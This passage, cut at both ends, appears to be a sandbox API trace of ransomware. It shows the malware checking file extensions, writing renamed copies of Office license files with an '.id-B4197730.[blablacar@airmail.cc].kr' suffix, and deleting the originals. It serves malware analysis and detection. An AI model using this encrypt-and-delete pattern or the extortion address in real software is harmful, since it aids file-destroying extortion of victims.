lpString2="m-ms") returned -1 [0210.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms") returned 73 [0210.618] lstrlenW (lpString=".1cd") returned 4 [0210.618] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0210.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-pl.xrm-ms") returned 73 [0210.618] lstrlenW (lpString=".jpg") returned 4 [0210.618] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0210.618] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0210.618] lstrlenW (lpString="OutlookR_Retail-pl.xrm-ms") returned 25 [0210.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0210.759] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=10635) returned 1 [0210.759] CloseHandle (hObject=0x450) returned 1 [0210.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-pl.xrm-ms")) returned 0x220 [0210.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0210.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0210.920] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.920] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0210.921] GetLastError () returned 0x0 [0210.921] ReadFile (in: hFile=0x378, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x298b, lpOverlapped=0x0) returned 1 [0210.932] WriteFile (in: hFile=0x574, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2990, lpOverlapped=0x0) returned 1 [0210.933] ReadFile (in: hFile=0x378, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.933] WriteFile (in: hFile=0x574, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x106, lpOverlapped=0x0) returned 1 [0210.933] SetEndOfFile (hFile=0x574) returned 1 [0210.934] CloseHandle (hObject=0x574) returned 1 [0210.938] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.938] SetEndOfFile (hFile=0x378) returned 1 [0210.949] CloseHandle (hObject=0x378) returned 1 [0210.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.080] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-pl.xrm-ms")) returned 1 [0211.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms") returned 75 [0211.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms") returned 75 [0211.081] lstrlenW (lpString=".doc") returned 4 [0211.081] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.081] lstrlenW (lpString=".docx") returned 5 [0211.081] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.081] lstrlenW (lpString=".pdf") returned 4 [0211.081] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.081] lstrlenW (lpString=".xls") returned 4 [0211.081] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.081] lstrlenW (lpString=".xlsx") returned 5 [0211.081] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.081] lstrlenW (lpString=".ppt") returned 4 [0211.081] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms") returned 75 [0211.081] lstrlenW (lpString=".zip") returned 4 [0211.081] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.081] lstrlenW (lpString=".rar") returned 4 [0211.081] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.081] lstrlenW (lpString=".bz2") returned 4 [0211.081] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.081] lstrlenW (lpString=".7z") returned 3 [0211.081] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms") returned 75 [0211.082] lstrlenW (lpString=".dbf") returned 4 [0211.082] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms") returned 75 [0211.082] lstrlenW (lpString=".1cd") returned 4 [0211.082] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms") returned 75 [0211.082] lstrlenW (lpString=".jpg") returned 4 [0211.082] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms") returned 75 [0211.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms") returned 75 [0211.082] lstrlenW (lpString=".doc") returned 4 [0211.082] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.082] lstrlenW (lpString=".docx") returned 5 [0211.082] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.082] lstrlenW (lpString=".pdf") returned 4 [0211.082] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.082] lstrlenW (lpString=".xls") returned 4 [0211.082] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.082] lstrlenW (lpString=".xlsx") returned 5 [0211.082] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.082] lstrlenW (lpString=".ppt") returned 4 [0211.082] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms") returned 75 [0211.082] lstrlenW (lpString=".zip") returned 4 [0211.082] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.082] lstrlenW (lpString=".rar") returned 4 [0211.082] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.082] lstrlenW (lpString=".bz2") returned 4 [0211.082] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.082] lstrlenW (lpString=".7z") returned 3 [0211.082] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms") returned 75 [0211.083] lstrlenW (lpString=".dbf") returned 4 [0211.083] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms") returned 75 [0211.083] lstrlenW (lpString=".1cd") returned 4 [0211.083] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms") returned 75 [0211.083] lstrlenW (lpString=".jpg") returned 4 [0211.083] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.083] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0211.083] lstrlenW (lpString="OutlookVL_KMS_Client-ppd.xrm-ms") returned 31 [0211.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0211.084] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=6795) returned 1 [0211.084] CloseHandle (hObject=0x3c4) returned 1 [0211.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ppd.xrm-ms")) returned 0x220 [0211.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0211.087] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.087] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0211.087] GetLastError () returned 0x0 [0211.087] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x1a8b, lpOverlapped=0x0) returned 1 [0211.283] WriteFile (in: hFile=0x564, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x1a90, lpOverlapped=0x0) returned 1 [0211.285] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.285] WriteFile (in: hFile=0x564, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x112, lpOverlapped=0x0) returned 1 [0211.285] SetEndOfFile (hFile=0x564) returned 1 [0211.290] CloseHandle (hObject=0x564) returned 1 [0211.291] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.291] SetEndOfFile (hFile=0x3c4) returned 1 [0211.306] CloseHandle (hObject=0x3c4) returned 1 [0211.306] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.309] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ppd.xrm-ms")) returned 1 [0211.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms") returned 81 [0211.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms") returned 81 [0211.324] lstrlenW (lpString=".doc") returned 4 [0211.324] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.324] lstrlenW (lpString=".docx") returned 5 [0211.324] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.324] lstrlenW (lpString=".pdf") returned 4 [0211.324] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.324] lstrlenW (lpString=".xls") returned 4 [0211.324] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.324] lstrlenW (lpString=".xlsx") returned 5 [0211.324] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.324] lstrlenW (lpString=".ppt") returned 4 [0211.324] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms") returned 81 [0211.324] lstrlenW (lpString=".zip") returned 4 [0211.324] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.324] lstrlenW (lpString=".rar") returned 4 [0211.325] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.325] lstrlenW (lpString=".bz2") returned 4 [0211.325] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.325] lstrlenW (lpString=".7z") returned 3 [0211.325] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms") returned 81 [0211.325] lstrlenW (lpString=".dbf") returned 4 [0211.325] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms") returned 81 [0211.325] lstrlenW (lpString=".1cd") returned 4 [0211.325] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms") returned 81 [0211.325] lstrlenW (lpString=".jpg") returned 4 [0211.325] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms") returned 81 [0211.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms") returned 81 [0211.325] lstrlenW (lpString=".doc") returned 4 [0211.325] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.325] lstrlenW (lpString=".docx") returned 5 [0211.325] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.325] lstrlenW (lpString=".pdf") returned 4 [0211.325] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.325] lstrlenW (lpString=".xls") returned 4 [0211.325] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.325] lstrlenW (lpString=".xlsx") returned 5 [0211.325] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.325] lstrlenW (lpString=".ppt") returned 4 [0211.325] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms") returned 81 [0211.325] lstrlenW (lpString=".zip") returned 4 [0211.325] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.325] lstrlenW (lpString=".rar") returned 4 [0211.325] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.326] lstrlenW (lpString=".bz2") returned 4 [0211.326] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.326] lstrlenW (lpString=".7z") returned 3 [0211.326] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms") returned 81 [0211.326] lstrlenW (lpString=".dbf") returned 4 [0211.326] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms") returned 81 [0211.326] lstrlenW (lpString=".1cd") returned 4 [0211.326] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms") returned 81 [0211.326] lstrlenW (lpString=".jpg") returned 4 [0211.326] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.326] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0211.326] lstrlenW (lpString="OutlookVL_MAK-ppd.xrm-ms") returned 24 [0211.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0211.331] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=6730) returned 1 [0211.331] CloseHandle (hObject=0x554) returned 1 [0211.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ppd.xrm-ms")) returned 0x220 [0211.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0211.335] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.335] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0211.338] GetLastError () returned 0x0 [0211.338] ReadFile (in: hFile=0x564, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x1a4a, lpOverlapped=0x0) returned 1 [0211.340] WriteFile (in: hFile=0x518, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x1a50, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x1a50, lpOverlapped=0x0) returned 1 [0211.341] ReadFile (in: hFile=0x564, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.341] WriteFile (in: hFile=0x518, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x104, lpOverlapped=0x0) returned 1 [0211.341] SetEndOfFile (hFile=0x518) returned 1 [0211.342] CloseHandle (hObject=0x518) returned 1 [0211.342] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.342] SetEndOfFile (hFile=0x564) returned 1 [0211.345] CloseHandle (hObject=0x564) returned 1 [0211.345] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.347] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ppd.xrm-ms")) returned 1 [0211.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms") returned 74 [0211.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms") returned 74 [0211.348] lstrlenW (lpString=".doc") returned 4 [0211.348] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.348] lstrlenW (lpString=".docx") returned 5 [0211.348] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.348] lstrlenW (lpString=".pdf") returned 4 [0211.348] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.348] lstrlenW (lpString=".xls") returned 4 [0211.348] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.348] lstrlenW (lpString=".xlsx") returned 5 [0211.348] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.348] lstrlenW (lpString=".ppt") returned 4 [0211.348] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms") returned 74 [0211.348] lstrlenW (lpString=".zip") returned 4 [0211.348] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.348] lstrlenW (lpString=".rar") returned 4 [0211.348] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.348] lstrlenW (lpString=".bz2") returned 4 [0211.348] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.348] lstrlenW (lpString=".7z") returned 3 [0211.348] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms") returned 74 [0211.348] lstrlenW (lpString=".dbf") returned 4 [0211.348] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms") returned 74 [0211.348] lstrlenW (lpString=".1cd") returned 4 [0211.349] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms") returned 74 [0211.349] lstrlenW (lpString=".jpg") returned 4 [0211.349] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms") returned 74 [0211.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms") returned 74 [0211.349] lstrlenW (lpString=".doc") returned 4 [0211.349] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.349] lstrlenW (lpString=".docx") returned 5 [0211.349] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.349] lstrlenW (lpString=".pdf") returned 4 [0211.349] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.349] lstrlenW (lpString=".xls") returned 4 [0211.349] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.349] lstrlenW (lpString=".xlsx") returned 5 [0211.349] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.349] lstrlenW (lpString=".ppt") returned 4 [0211.349] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms") returned 74 [0211.349] lstrlenW (lpString=".zip") returned 4 [0211.349] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.349] lstrlenW (lpString=".rar") returned 4 [0211.349] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.349] lstrlenW (lpString=".bz2") returned 4 [0211.349] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.349] lstrlenW (lpString=".7z") returned 3 [0211.349] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.349] lstrlenW 